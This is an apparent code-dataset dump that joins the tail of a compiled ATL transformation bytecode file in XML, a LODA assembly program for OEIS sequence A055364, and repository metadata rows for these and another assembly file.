begin="69" end="70"/> <lne id="1506" begin="67" end="72"/> <lne id="1507" begin="75" end="75"/> <lne id="1508" begin="75" end="76"/> <lne id="1509" begin="73" end="78"/> <lne id="1510" begin="81" end="81"/> <lne id="1511" begin="81" end="82"/> <lne id="1512" begin="79" end="84"/> <lne id="1513" begin="87" end="87"/> <lne id="1514" begin="87" end="88"/> <lne id="1515" begin="85" end="90"/> <lne id="1516" begin="93" end="93"/> <lne id="1517" begin="93" end="94"/> <lne id="1518" begin="91" end="96"/> <lne id="1519" begin="99" end="99"/> <lne id="1520" begin="99" end="100"/> <lne id="1521" begin="97" end="102"/> <lne id="265" begin="105" end="105"/> <lne id="266" begin="105" end="106"/> <lne id="267" begin="103" end="108"/> <lne id="268" begin="111" end="111"/> <lne id="269" begin="111" end="112"/> <lne id="270" begin="109" end="114"/> <lne id="271" begin="117" end="117"/> <lne id="272" begin="117" end="118"/> <lne id="273" begin="115" end="120"/> <lne id="274" begin="123" end="123"/> <lne id="275" begin="123" end="124"/> <lne id="276" begin="121" end="126"/> <lne id="277" begin="129" end="129"/> <lne id="278" begin="129" end="130"/> <lne id="279" begin="127" end="132"/> <lne id="280" begin="135" end="135"/> <lne id="281" begin="135" end="136"/> <lne id="282" begin="133" end="138"/> <lne id="283" begin="141" end="141"/> <lne id="284" begin="141" end="142"/> <lne id="285" begin="139" end="144"/> <lne id="286" begin="147" end="147"/> <lne id="287" begin="147" end="148"/> <lne id="288" begin="145" end="150"/> <lne id="289" begin="153" end="153"/> <lne id="290" begin="153" end="154"/> <lne id="291" begin="151" end="156"/> <lne id="292" begin="159" end="159"/> <lne id="293" begin="159" end="160"/> <lne id="294" begin="157" end="162"/> <lne id="295" begin="168" end="168"/> <lne id="296" begin="165" end="169"/> <lne id="297" begin="163" end="171"/> <lne id="298" begin="174" end="174"/> <lne id="299" begin="174" end="175"/> <lne id="300" begin="172" end="177"/> <lne id="254" begin="12" end="178"/> <lne id="301" begin="182" end="182"/> <lne id="302" begin="182" end="183"/> <lne id="303" begin="180" end="185"/> <lne id="247" begin="179" end="186"/> </linenumbertable> <localvariabletable> <lve slot="3" name="171" begin="7" end="186"/> <lve slot="4" name="224" begin="11" end="186"/> <lve slot="2" name="169" begin="3" end="186"/> <lve slot="0" name="32" begin="0" end="186"/> <lve slot="1" name="216" begin="0" end="186"/> </localvariabletable> </operation> <operation name="1522"> <context type="8"/> <parameters> </parameters> <code> <push arg="1523"/> <push arg="17"/> <findme/> <push arg="18"/> <call arg="164"/> <iterate/> <store arg="34"/> <getasm/> <get arg="5"/> <load arg="34"/> <call arg="157"/> <call arg="165"/> <if arg="166"/> <getasm/> <get arg="1"/> <push arg="167"/> <push arg="10"/> <new/> <dup/> <push arg="143"/> <call arg="168"/> <dup/> <push arg="169"/> <load arg="34"/> <call arg="170"/> <dup/> <push arg="171"/> <push arg="1523"/> <push arg="172"/> <new/> <call arg="173"/> <pusht/> <call arg="174"/> <enditerate/> </code> <linenumbertable> <lne id="1524" begin="7" end="7"/> <lne id="1525" begin="7" end="8"/> <lne id="1526" begin="9" end="9"/> <lne id="1527" begin="7" end="10"/> <lne id="1528" begin="25" end="30"/> </linenumbertable> <localvariabletable> <lve slot="1" name="169" begin="6" end="32"/> <lve slot="0" name="32" begin="0" end="33"/> </localvariabletable> </operation> <operation name="1529"> <context type="8"/> <parameters> <parameter name="34" type="181"/> </parameters> <code> <load arg="34"/> <push arg="169"/> <call arg="182"/> <store arg="44"/> <load arg="34"/> <push arg="171"/> <call arg="183"/> <store arg="184"/> <load arg="184"/> <dup/> <getasm/> <load arg="44"/> <get arg="1530"/> <call arg="45"/> <set arg="1530"/> <pop/> </code> <linenumbertable> <lne id="1531" begin="11" end="11"/> <lne id="1532" begin="11" end="12"/> <lne id="1533" begin="9" end="14"/> <lne id="1528" begin="8" end="15"/> </linenumbertable> <localvariabletable> <lve slot="3" name="171" begin="7" end="15"/> <lve slot="2" name="169" begin="3" end="15"/> <lve slot="0" name="32" begin="0" end="15"/> <lve slot="1" name="216" begin="0" end="15"/> </localvariabletable> </operation> <operation name="1534"> <context type="8"/> <parameters> </parameters> <code> <push arg="1535"/> <push arg="17"/> <findme/> <push arg="18"/> <call arg="164"/> <iterate/> <store arg="34"/> <getasm/> <get arg="5"/> <load arg="34"/> <call arg="157"/> <call arg="165"/> <if arg="166"/> <getasm/> <get arg="1"/> <push arg="167"/> <push arg="10"/> <new/> <dup/> <push arg="145"/> <call arg="168"/> <dup/> <push arg="169"/> <load arg="34"/> <call arg="170"/> <dup/> <push arg="171"/> <push arg="1535"/> <push arg="172"/> <new/> <call arg="173"/> <pusht/> <call arg="174"/> <enditerate/> </code> <linenumbertable> <lne id="1536" begin="7" end="7"/> <lne id="1537" begin="7" end="8"/> <lne id="1538" begin="9" end="9"/> <lne id="1539" begin="7" end="10"/> <lne id="1540" begin="25" end="30"/> </linenumbertable> <localvariabletable> <lve slot="1" name="169" begin="6" end="32"/> <lve slot="0" name="32" begin="0" end="33"/> </localvariabletable> </operation> <operation name="1541"> <context type="8"/> <parameters> <parameter name="34" type="181"/> </parameters> <code> <load arg="34"/> <push arg="169"/> <call arg="182"/> <store arg="44"/> <load arg="34"/> <push arg="171"/> <call arg="183"/> <store arg="184"/> <load arg="184"/> <dup/> <getasm/> <load arg="44"/> <get arg="185"/> <call arg="45"/> <set arg="185"/> <dup/> <getasm/> <load arg="44"/> <get arg="6"/> <call arg="45"/> <set arg="6"/> <dup/> <getasm/> <load arg="44"/> <get arg="186"/> <call arg="45"/> <set arg="186"/> <dup/> <getasm/> <load arg="44"/> <get arg="187"/> <call arg="45"/> <set arg="187"/> <dup/> <getasm/> <load arg="44"/> <get arg="188"/> <call arg="45"/> <set arg="188"/> <dup/> <getasm/> <load arg="44"/> <get arg="189"/> <call arg="45"/> <set arg="189"/> <dup/> <getasm/> <load arg="44"/> <get arg="190"/> <call arg="45"/> <set arg="190"/> <dup/> <getasm/> <load arg="44"/> <get arg="1542"/> <call arg="45"/> <set arg="1542"/> <dup/> <getasm/> <load arg="44"/> <get arg="1543"/> <call arg="45"/> <set arg="1543"/> <dup/> <getasm/> <load arg="44"/> <get arg="1544"/> <call arg="45"/> <set arg="1544"/> <dup/> <getasm/> <load arg="44"/> <get arg="1545"/> <call arg="45"/> <set arg="1545"/> <pop/> </code> <linenumbertable> <lne id="1546" begin="11" end="11"/> <lne id="1547" begin="11" end="12"/> <lne id="1548" begin="9" end="14"/> <lne id="1549" begin="17" end="17"/> <lne id="1550" begin="17" end="18"/> <lne id="1551" begin="15" end="20"/> <lne id="1552" begin="23" end="23"/> <lne id="1553" begin="23" end="24"/> <lne id="1554" begin="21" end="26"/> <lne id="1555" begin="29" end="29"/> <lne id="1556" begin="29" end="30"/> <lne id="1557" begin="27" end="32"/> <lne id="1558" begin="35" end="35"/> <lne id="1559" begin="35" end="36"/> <lne id="1560" begin="33" end="38"/> <lne id="1561" begin="41" end="41"/> <lne id="1562" begin="41" end="42"/> <lne id="1563" begin="39" end="44"/> <lne id="1564" begin="47" end="47"/> <lne id="1565" begin="47" end="48"/> <lne id="1566" begin="45" end="50"/> <lne id="1567" begin="53" end="53"/> <lne id="1568" begin="53" end="54"/> <lne id="1569" begin="51" end="56"/> <lne id="1570" begin="59" end="59"/> <lne id="1571" begin="59" end="60"/> <lne id="1572" begin="57" end="62"/> <lne id="1573" begin="65" end="65"/> <lne id="1574" begin="65" end="66"/> <lne id="1575" begin="63" end="68"/> <lne id="1576" begin="71" end="71"/> <lne id="1577" begin="71" end="72"/> <lne id="1578" begin="69" end="74"/> <lne id="1540" begin="8" end="75"/> </linenumbertable> <localvariabletable> <lve slot="3" name="171" begin="7" end="75"/> <lve slot="2" name="169" begin="3" end="75"/> <lve slot="0" name="32" begin="0" end="75"/> <lve slot="1" name="216" begin="0" end="75"/> </localvariabletable> </operation> <operation name="1579"> <context type="8"/> <parameters> <parameter name="34" type="181"/> </parameters> <code> <load arg="34"/> <push arg="169"/> <call arg="182"/> <store arg="44"/> <load arg="34"/> <push arg="171"/> <call arg="183"/> <store arg="184"/> <load arg="184"/> <dup/> <getasm/> <load arg="44"/> <get arg="1580"/> <call arg="45"/> <set arg="1580"/> <dup/> <getasm/> <load arg="44"/> <get arg="599"/> <call arg="45"/> <set arg="599"/> <dup/> <getasm/> <load arg="44"/> <get arg="185"/> <call arg="45"/> <set arg="185"/> <dup/> <getasm/> <load arg="44"/> <get arg="6"/> <call arg="45"/> <set arg="6"/> <dup/> <getasm/> <load arg="44"/> <get arg="186"/> <call arg="45"/> <set arg="186"/> <dup/> <getasm/> <load arg="44"/> <get arg="187"/> <call arg="45"/> <set arg="187"/> <dup/> <getasm/> <load arg="44"/> <get arg="188"/> <call arg="45"/> <set arg="188"/> <dup/> <getasm/> <load arg="44"/> <get arg="189"/> <call arg="45"/> <set arg="189"/> <dup/> <getasm/> <load arg="44"/> <get arg="190"/> <call arg="45"/> <set arg="190"/> <dup/> <getasm/> <load arg="44"/> <get arg="596"/> <call arg="45"/> <set arg="53"/> <dup/> <getasm/> <load arg="44"/> <get arg="455"/> <call arg="45"/> <set arg="455"/> <dup/> <getasm/> <load arg="44"/> <get arg="597"/> <call arg="45"/> <set arg="597"/> <dup/> <getasm/> <load arg="44"/> <get arg="598"/> <call arg="45"/> <set arg="598"/> <dup/> <getasm/> <load arg="44"/> <get arg="599"/> <call arg="45"/> <set arg="600"/> <pop/> </code> <linenumbertable> <lne id="1581" begin="11" end="11"/> <lne id="1582" begin="11" end="12"/> <lne id="1583" begin="9" end="14"/> <lne id="1584" begin="17" end="17"/> <lne id="1585" begin="17" end="18"/> <lne id="1586" begin="15" end="20"/> <lne id="601" begin="23" end="23"/> <lne id="602" begin="23" end="24"/> <lne id="603" begin="21" end="26"/> <lne id="604" begin="29" end="29"/> <lne id="605" begin="29" end="30"/> <lne id="606" begin="27" end="32"/> <lne id="607" begin="35" end="35"/> <lne id="608" begin="35" end="36"/> <lne id="609" begin="33" end="38"/> <lne id="610" begin="41" end="41"/> <lne id="611" begin="41" end="42"/> <lne id="612" begin="39" end="44"/> <lne id="613" begin="47" end="47"/> <lne id="614" begin="47" end="48"/> <lne id="615" begin="45" end="50"/> <lne id="616" begin="53" end="53"/> <lne id="617" begin="53" end="54"/> <lne id="618" begin="51" end="56"/> <lne id="619" begin="59" end="59"/> <lne id="620" begin="59" end="60"/> <lne id="621" begin="57" end="62"/> <lne id="622" begin="65" end="65"/> <lne id="623" begin="65" end="66"/> <lne id="624" begin="63" end="68"/> <lne id="625" begin="71" end="71"/> <lne id="626" begin="71" end="72"/> <lne id="627" begin="69" end="74"/> <lne id="628" begin="77" end="77"/> <lne id="629" begin="77" end="78"/> <lne id="630" begin="75" end="80"/> <lne id="631" begin="83" end="83"/> <lne id="632" begin="83" end="84"/> <lne id="633" begin="81" end="86"/> <lne id="634" begin="89" end="89"/> <lne id="635" begin="89" end="90"/> <lne id="636" begin="87" end="92"/> <lne id="588" begin="8" end="93"/> </linenumbertable> <localvariabletable> <lve slot="3" name="171" begin="7" end="93"/> <lve slot="2" name="169" begin="3" end="93"/> <lve slot="0" name="32" begin="0" end="93"/> <lve slot="1" name="216" begin="0" end="93"/> </localvariabletable> </operation> <operation name="1587"> <context type="8"/> <parameters> </parameters> <code> <push arg="1588"/> <push arg="17"/> <findme/> <push arg="18"/> <call arg="164"/> <iterate/> <store arg="34"/> <getasm/> <get arg="5"/> <load arg="34"/> <call arg="157"/> <call arg="165"/> <if arg="166"/> <getasm/> <get arg="1"/> <push arg="167"/> <push arg="10"/> <new/> <dup/> <push arg="149"/> <call arg="168"/> <dup/> <push arg="169"/> <load arg="34"/> <call arg="170"/> <dup/> <push arg="171"/> <push arg="1588"/> <push arg="172"/> <new/> <call arg="173"/> <pusht/> <call arg="174"/> <enditerate/> </code> <linenumbertable> <lne id="1589" begin="7" end="7"/> <lne id="1590" begin="7" end="8"/> <lne id="1591" begin="9" end="9"/> <lne id="1592" begin="7" end="10"/> <lne id="1593" begin="25" end="30"/> </linenumbertable> <localvariabletable> <lve slot="1" name="169" begin="6" end="32"/> <lve slot="0" name="32" begin="0" end="33"/> </localvariabletable> </operation> <operation name="1594"> <context type="8"/> <parameters> <parameter name="34" type="181"/> </parameters> <code> <load arg="34"/> <push arg="169"/> <call arg="182"/> <store arg="44"/> <load arg="34"/> <push arg="171"/> <call arg="183"/> <store arg="184"/> <load arg="184"/> <dup/> <getasm/> <load arg="44"/> <get arg="185"/> <call arg="45"/> <set arg="185"/> <dup/> <getasm/> <load arg="44"/> <get arg="6"/> <call arg="45"/> <set arg="6"/> <dup/> <getasm/> <load arg="44"/> <get arg="186"/> <call arg="45"/> <set arg="186"/> <dup/> <getasm/> <load arg="44"/> <get arg="187"/> <call arg="45"/> <set arg="187"/> <dup/> <getasm/> <load arg="44"/> <get arg="188"/> <call arg="45"/> <set arg="188"/> <dup/> <getasm/> <load arg="44"/> <get arg="189"/> <call arg="45"/> <set arg="189"/> <dup/> <getasm/> <load arg="44"/> <get arg="190"/> <call arg="45"/> <set arg="190"/> <dup/> <getasm/> <load arg="44"/> <get arg="599"/> <call arg="45"/> <set arg="599"/> <pop/> </code> <linenumbertable> <lne id="1595" begin="11" end="11"/> <lne id="1596" begin="11" end="12"/> <lne id="1597" begin="9" end="14"/> <lne id="1598" begin="17" end="17"/> <lne id="1599" begin="17" end="18"/> <lne id="1600" begin="15" end="20"/> <lne id="1601" begin="23" end="23"/> <lne id="1602" begin="23" end="24"/> <lne id="1603" begin="21" end="26"/> <lne id="1604" begin="29" end="29"/> <lne id="1605" begin="29" end="30"/> <lne id="1606" begin="27" end="32"/> <lne id="1607" begin="35" end="35"/> <lne id="1608" begin="35" end="36"/> <lne id="1609" begin="33" end="38"/> <lne id="1610" begin="41" end="41"/> <lne id="1611" begin="41" end="42"/> <lne id="1612" begin="39" end="44"/> <lne id="1613" begin="47" end="47"/> <lne id="1614" begin="47" end="48"/> <lne id="1615" begin="45" end="50"/> <lne id="1616" begin="53" end="53"/> <lne id="1617" begin="53" end="54"/> <lne id="1618" begin="51" end="56"/> <lne id="1593" begin="8" end="57"/> </linenumbertable> <localvariabletable> <lve slot="3" name="171" begin="7" end="57"/> <lve slot="2" name="169" begin="3" end="57"/> <lve slot="0" name="32" begin="0" end="57"/> <lve slot="1" name="216" begin="0" end="57"/> </localvariabletable> </operation> <operation name="1619"> <context type="8"/> <parameters> <parameter name="34" type="181"/> </parameters> <code> <load arg="34"/> <push arg="169"/> <call arg="182"/> <store arg="44"/> <load arg="34"/> <push arg="171"/> <call arg="183"/> <store arg="184"/> <load arg="184"/> <dup/> <getasm/> <load arg="44"/> <get arg="1620"/> <call arg="45"/> <set arg="1620"/> <dup/> <getasm/> <load arg="44"/> <get arg="1621"/> <call arg="45"/> <set arg="1621"/> <dup/> <getasm/> <load arg="44"/> <get arg="599"/> <call arg="45"/> <set arg="599"/> <dup/> <getasm/> <load arg="44"/> <get arg="1622"/> <call arg="45"/> <set arg="1622"/> <dup/> <getasm/> <load arg="44"/> <get arg="185"/> <call arg="45"/> <set arg="185"/> <dup/> <getasm/> <load arg="44"/> <get arg="6"/> <call arg="45"/> <set arg="6"/> <dup/> <getasm/> <load arg="44"/> <get arg="186"/> <call arg="45"/> <set arg="186"/> <dup/> <getasm/> <load arg="44"/> <get arg="187"/> <call arg="45"/> <set arg="187"/> <dup/> <getasm/> <load arg="44"/> <get arg="188"/> <call arg="45"/> <set arg="188"/> <dup/> <getasm/> <load arg="44"/> <get arg="189"/> <call arg="45"/> <set arg="189"/> <dup/> <getasm/> <load arg="44"/> <get arg="190"/> <call arg="45"/> <set arg="190"/> <dup/> <getasm/> <load arg="44"/> <get arg="596"/> <call arg="45"/> <set arg="53"/> <dup/> <getasm/> <load arg="44"/> <get arg="455"/> <call arg="45"/> <set arg="455"/> <dup/> <getasm/> <load arg="44"/> <get arg="597"/> <call arg="45"/> <set arg="597"/> <dup/> <getasm/> <load arg="44"/> <get arg="598"/> <call arg="45"/> <set arg="598"/> <dup/> <getasm/> <load arg="44"/> <get arg="599"/> <call arg="45"/> <set arg="600"/> <pop/> </code> <linenumbertable> <lne id="1623" begin="11" end="11"/> <lne id="1624" begin="11" end="12"/> <lne id="1625" begin="9" end="14"/> <lne id="1626" begin="17" end="17"/> <lne id="1627" begin="17" end="18"/> <lne id="1628" begin="15" end="20"/> <lne id="1629" begin="23" end="23"/> <lne id="1630" begin="23" end="24"/> <lne id="1631" begin="21" end="26"/> <lne id="1632" begin="29" end="29"/> <lne id="1633" begin="29" end="30"/> <lne id="1634" begin="27" end="32"/> <lne id="601" begin="35" end="35"/> <lne id="602" begin="35" end="36"/> <lne id="603" begin="33" end="38"/> <lne id="604" begin="41" end="41"/> <lne id="605" begin="41" end="42"/> <lne id="606" begin="39" end="44"/> <lne id="607" begin="47" end="47"/> <lne id="608" begin="47" end="48"/> <lne id="609" begin="45" end="50"/> <lne id="610" begin="53" end="53"/> <lne id="611" begin="53" end="54"/> <lne id="612" begin="51" end="56"/> <lne id="613" begin="59" end="59"/> <lne id="614" begin="59" end="60"/> <lne id="615" begin="57" end="62"/> <lne id="616" begin="65" end="65"/> <lne id="617" begin="65" end="66"/> <lne id="618" begin="63" end="68"/> <lne id="619" begin="71" end="71"/> <lne id="620" begin="71" end="72"/> <lne id="621" begin="69" end="74"/> <lne id="622" begin="77" end="77"/> <lne id="623" begin="77" end="78"/> <lne id="624" begin="75" end="80"/> <lne id="625" begin="83" end="83"/> <lne id="626" begin="83" end="84"/> <lne id="627" begin="81" end="86"/> <lne id="628" begin="89" end="89"/> <lne id="629" begin="89" end="90"/> <lne id="630" begin="87" end="92"/> <lne id="631" begin="95" end="95"/> <lne id="632" begin="95" end="96"/> <lne id="633" begin="93" end="98"/> <lne id="634" begin="101" end="101"/> <lne id="635" begin="101" end="102"/> <lne id="636" begin="99" end="104"/> <lne id="593" begin="8" end="105"/> </linenumbertable> <localvariabletable> <lve slot="3" name="171" begin="7" end="105"/> <lve slot="2" name="169" begin="3" end="105"/> <lve slot="0" name="32" begin="0" end="105"/> <lve slot="1" name="216" begin="0" end="105"/> </localvariabletable> </operation> <operation name="1635"> <context type="8"/> <parameters> </parameters> <code> <push arg="1636"/> <push arg="17"/> <findme/> <push arg="18"/> <call arg="164"/> <iterate/> <store arg="34"/> <getasm/> <get arg="5"/> <load arg="34"/> <call arg="157"/> <call arg="165"/> <if arg="166"/> <getasm/> <get arg="1"/> <push arg="167"/> <push arg="10"/> <new/> <dup/> <push arg="153"/> <call arg="168"/> <dup/> <push arg="169"/> <load arg="34"/> <call arg="170"/> <dup/> <push arg="171"/> <push arg="1636"/> <push arg="172"/> <new/> <call arg="173"/> <pusht/> <call arg="174"/> <enditerate/> </code> <linenumbertable> <lne id="1637" begin="7" end="7"/> <lne id="1638" begin="7" end="8"/> <lne id="1639" begin="9" end="9"/> <lne id="1640" begin="7" end="10"/> <lne id="1641" begin="25" end="30"/> </linenumbertable> <localvariabletable> <lve slot="1" name="169" begin="6" end="32"/> <lve slot="0" name="32" begin="0" end="33"/> </localvariabletable> </operation> <operation name="1642"> <context type="8"/> <parameters> <parameter name="34" type="181"/> </parameters> <code> <load arg="34"/> <push arg="169"/> <call arg="182"/> <store arg="44"/> <load arg="34"/> <push arg="171"/> <call arg="183"/> <store arg="184"/> <load arg="184"/> <dup/> <getasm/> <load arg="44"/> <get arg="1643"/> <call arg="45"/> <set arg="1643"/> <dup/> <getasm/> <load arg="44"/> <get arg="1644"/> <call arg="45"/> <set arg="1644"/> <pop/> </code> <linenumbertable> <lne id="1645" begin="11" end="11"/> <lne id="1646" begin="11" end="12"/> <lne id="1647" begin="9" end="14"/> <lne id="1648" begin="17" end="17"/> <lne id="1649" begin="17" end="18"/> <lne id="1650" begin="15" end="20"/> <lne id="1641" begin="8" end="21"/> </linenumbertable> <localvariabletable> <lve slot="3" name="171" begin="7" end="21"/> <lve slot="2" name="169" begin="3" end="21"/> <lve slot="0" name="32" begin="0" end="21"/> <lve slot="1" name="216" begin="0" end="21"/> </localvariabletable> </operation> <operation name="1651"> <context type="8"/> <parameters> <parameter name="34" type="181"/> </parameters> <code> <load arg="34"/> <push arg="169"/> <call arg="182"/> <store arg="44"/> <load arg="34"/> <push arg="171"/> <call arg="183"/> <store arg="184"/> <load arg="34"/> <push arg="308"/> <call arg="183"/> <store arg="256"/> <load arg="184"/> <dup/> <getasm/> <load arg="44"/> <get arg="1652"/> <call arg="45"/> <set arg="1652"/> <dup/> <getasm/> <load arg="44"/> <get arg="1653"/> <call arg="45"/> <set arg="1653"/> <dup/> <getasm/> <load arg="44"/> <get arg="185"/> <call arg="45"/> <set arg="185"/> <dup/> <getasm/> <load arg="44"/> <get arg="6"/> <call arg="45"/> <set arg="6"/> <dup/> <getasm/> <load arg="44"/> <get arg="186"/> <call arg="45"/> <set arg="186"/> <dup/> <getasm/> <load arg="44"/> <get arg="187"/> <call arg="45"/> <set arg="187"/> <dup/> <getasm/> <load arg="44"/> <get arg="188"/> <call arg="45"/> <set arg="188"/> <dup/> <getasm/> <load arg="44"/> <get arg="189"/> <call arg="45"/> <set arg="189"/> <dup/> <getasm/> <load arg="44"/> <get arg="190"/> <call arg="45"/> <set arg="190"/> <dup/> <getasm/> <load arg="44"/> <get arg="257"/> <call arg="45"/> <set arg="257"/> <dup/> <getasm/> <load arg="44"/> <get arg="258"/> <call arg="45"/> <set arg="258"/> <dup/> <getasm/> <load arg="44"/> <get arg="259"/> <call arg="45"/> <set arg="259"/> <dup/> <getasm/> <push arg="43"/> <push arg="10"/> <new/> <load arg="256"/> <call arg="260"/> <call arg="45"/> <set arg="261"/> <dup/> <getasm/> <load arg="44"/> <get arg="262"/> <call arg="45"/> <set arg="262"/> <dup/> <getasm/> <load arg="44"/> <get arg="330"/> <call arg="45"/> <set arg="330"/> <dup/> <getasm/> <load arg="44"/> <get arg="331"/> <call arg="45"/> <set arg="331"/> <dup/> <getasm/> <load arg="44"/> <get arg="332"/> <call arg="45"/> <set arg="332"/> <dup/> <getasm/> <load arg="44"/> <get arg="333"/> <call arg="45"/> <set arg="333"/> <dup/> <getasm/> <load arg="44"/> <get arg="334"/> <call arg="45"/> <set arg="334"/> <dup/> <getasm/> <load arg="44"/> <get arg="335"/> <call arg="45"/> <set arg="335"/> <dup/> <getasm/> <load arg="44"/> <get arg="336"/> <call arg="45"/> <set arg="336"/> <dup/> <getasm/> <load arg="44"/> <get arg="337"/> <call arg="45"/> <set arg="337"/> <dup/> <getasm/> <load arg="44"/> <get arg="338"/> <call arg="45"/> <set arg="338"/> <dup/> <getasm/> <load arg="44"/> <get arg="339"/> <call arg="45"/> <set arg="339"/> <dup/> <getasm/> <load arg="44"/> <get arg="340"/> <call arg="45"/> <set arg="340"/> <dup/> <getasm/> <load arg="44"/> <get arg="341"/> <call arg="45"/> <set arg="341"/> <dup/> <getasm/> <load arg="44"/> <get arg="342"/> <call arg="45"/> <set arg="342"/> <dup/> <getasm/> <load arg="44"/> <get arg="343"/> <call arg="45"/> <set arg="343"/> <dup/> <getasm/> <load arg="44"/> <get arg="344"/> <call arg="45"/> <set arg="344"/> <dup/> <getasm/> <load arg="44"/> <get arg="345"/> <call arg="45"/> <set arg="345"/> <dup/> <getasm/> <load arg="44"/> <get arg="346"/> <call arg="45"/> <set arg="346"/> <dup/> <getasm/> <load arg="44"/> <get arg="347"/> <call arg="45"/> <set arg="347"/> <dup/> <getasm/> <load arg="44"/> <get arg="348"/> <call arg="45"/> <set arg="348"/> <dup/> <getasm/> <load arg="44"/> <get arg="349"/> <call arg="45"/> <set arg="349"/> <pop/> <load arg="256"/> <dup/> <getasm/> <load arg="44"/> <get arg="263"/> <call arg="45"/> <set arg="264"/> <pop/> </code> <linenumbertable> <lne id="1654" begin="15" end="15"/> <lne id="1655" begin="15" end="16"/> <lne id="1656" begin="13" end="18"/> <lne id="1657" begin="21" end="21"/> <lne id="1658" begin="21" end="22"/> <lne id="1659" begin="19" end="24"/> <lne id="350" begin="27" end="27"/> <lne id="351" begin="27" end="28"/> <lne id="352" begin="25" end="30"/> <lne id="353" begin="33" end="33"/> <lne id="354" begin="33" end="34"/> <lne id="355" begin="31" end="36"/> <lne id="356" begin="39" end="39"/> <lne id="357" begin="39" end="40"/> <lne id="358" begin="37" end="42"/> <lne id="359" begin="45" end="45"/> <lne id="360" begin="45" end="46"/> <lne id="361" begin="43" end="48"/> <lne id="362" begin="51" end="51"/> <lne id="363" begin="51" end="52"/> <lne id="364" begin="49" end="54"/> <lne id="365" begin="57" end="57"/> <lne id="366" begin="57" end="58"/> <lne id="367" begin="55" end="60"/> <lne id="368" begin="63" end="63"/> <lne id="369" begin="63" end="64"/> <lne id="370" begin="61" end="66"/> <lne id="371" begin="69" end="69"/> <lne id="372" begin="69" end="70"/> <lne id="373" begin="67" end="72"/> <lne id="374" begin="75" end="75"/> <lne id="375" begin="75" end="76"/> <lne id="376" begin="73" end="78"/> <lne id="377" begin="81" end="81"/> <lne id="378" begin="81" end="82"/> <lne id="379" begin="79" end="84"/> <lne id="380" begin="90" end="90"/> <lne id="381" begin="87" end="91"/> <lne id="382" begin="85" end="93"/> <lne id="383" begin="96" end="96"/> <lne id="384" begin="96" end="97"/> <lne id="385" begin="94" end="99"/> <lne id="386" begin="102" end="102"/> <lne id="387" begin="102" end="103"/> <lne id="388" begin="100" end="105"/> <lne id="389" begin="108" end="108"/> <lne id="390" begin="108" end="109"/> <lne id="391" begin="106" end="111"/> <lne id="392" begin="114" end="114"/> <lne id="393" begin="114" end="115"/> <lne id="394" begin="112" end="117"/> <lne id="395" begin="120" end="120"/> <lne id="396" begin="120" end="121"/> <lne id="397" begin="118" end="123"/> <lne id="398" begin="126" end="126"/> <lne id="399" begin="126" end="127"/> <lne id="400" begin="124" end="129"/> <lne id="401" begin="132" end="132"/> <lne id="402" begin="132" end="133"/> <lne id="403" begin="130" end="135"/> <lne id="404" begin="138" end="138"/> <lne id="405" begin="138" end="139"/> <lne id="406" begin="136" end="141"/> <lne id="407" begin="144" end="144"/> <lne id="408" begin="144" end="145"/> <lne id="409" begin="142" end="147"/> <lne id="410" begin="150" end="150"/> <lne id="411" begin="150" end="151"/> <lne id="412" begin="148" end="153"/> <lne id="413" begin="156" end="156"/> <lne id="414" begin="156" end="157"/> <lne id="415" begin="154" end="159"/> <lne id="416" begin="162" end="162"/> <lne id="417" begin="162" end="163"/> <lne id="418" begin="160" end="165"/> <lne id="419" begin="168" end="168"/> <lne id="420" begin="168" end="169"/> <lne id="421" begin="166" end="171"/> <lne id="422" begin="174" end="174"/> <lne id="423" begin="174" end="175"/> <lne id="424" begin="172" end="177"/> <lne id="425" begin="180" end="180"/> <lne id="426" begin="180" end="181"/> <lne id="427" begin="178" end="183"/> <lne id="428" begin="186" end="186"/> <lne id="429" begin="186" end="187"/> <lne id="430" begin="184" end="189"/> <lne id="431" begin="192" end="192"/> <lne id="432" begin="192" end="193"/> <lne id="433" begin="190" end="195"/> <lne id="434" begin="198" end="198"/> <lne id="435" begin="198" end="199"/> <lne id="436" begin="196" end="201"/> <lne id="437" begin="204" end="204"/> <lne id="438" begin="204" end="205"/> <lne id="439" begin="202" end="207"/> <lne id="440" begin="210" end="210"/> <lne id="441" begin="210" end="211"/> <lne id="442" begin="208" end="213"/> <lne id="443" begin="216" end="216"/> <lne id="444" begin="216" end="217"/> <lne id="445" begin="214" end="219"/> <lne id="327" begin="12" end="220"/> <lne id="446" begin="224" end="224"/> <lne id="447" begin="224" end="225"/> <lne id="448" begin="222" end="227"/> <lne id="322" begin="221" end="228"/> </linenumbertable> <localvariabletable> <lve slot="3" name="171" begin="7" end="228"/> <lve slot="4" name="308" begin="11" end="228"/> <lve slot="2" name="169" begin="3" end="228"/> <lve slot="0" name="32" begin="0" end="228"/> <lve slot="1" name="216" begin="0" end="228"/> </localvariabletable> </operation> </asm>
26.601188
84
0.508782
32fb518c4e74bafb026d29fb8d08d8de3122e7f3
721
asm
Assembly
programs/oeis/055/A055364.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/055/A055364.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/055/A055364.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A055364: Number of asymmetric mobiles (circular rooted trees) with n nodes and 3 leaves. ; 1,4,10,22,42,73,119,184,272,389,540,731,969,1261,1614,2037,2538,3126,3811,4603,5512,6550,7728,9058,10553,12226,14090,16160,18450,20975,23751,26794,30120,33747,37692,41973,46609,51619,57022,62839,69090,75796,82979 mov $2,$0 add $2,1 mov $4,$0 lpb $2 mov $0,$4 sub $2,1 sub $0,$2 mov $5,$0 add $5,1 mov $9,$0 mov $10,0 lpb $5 mov $0,$9 sub $5,1 sub $0,$5 mov $6,$0 mov $7,0 mov $8,$0 add $8,1 lpb $8 mov $0,$6 sub $8,1 sub $0,$8 mov $3,$0 gcd $3,3 add $3,$0 div $3,2 add $7,$3 lpe add $10,$7 lpe add $1,$10 lpe mov $0,$1
18.973684
214
0.56172
439c5b3b6bb09279f8065aa15ba76c5e32b612fe
466
asm
Assembly
libsrc/video/tms9918/graphics/getmaxx.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
640
2017-01-14T23:33:45.000Z
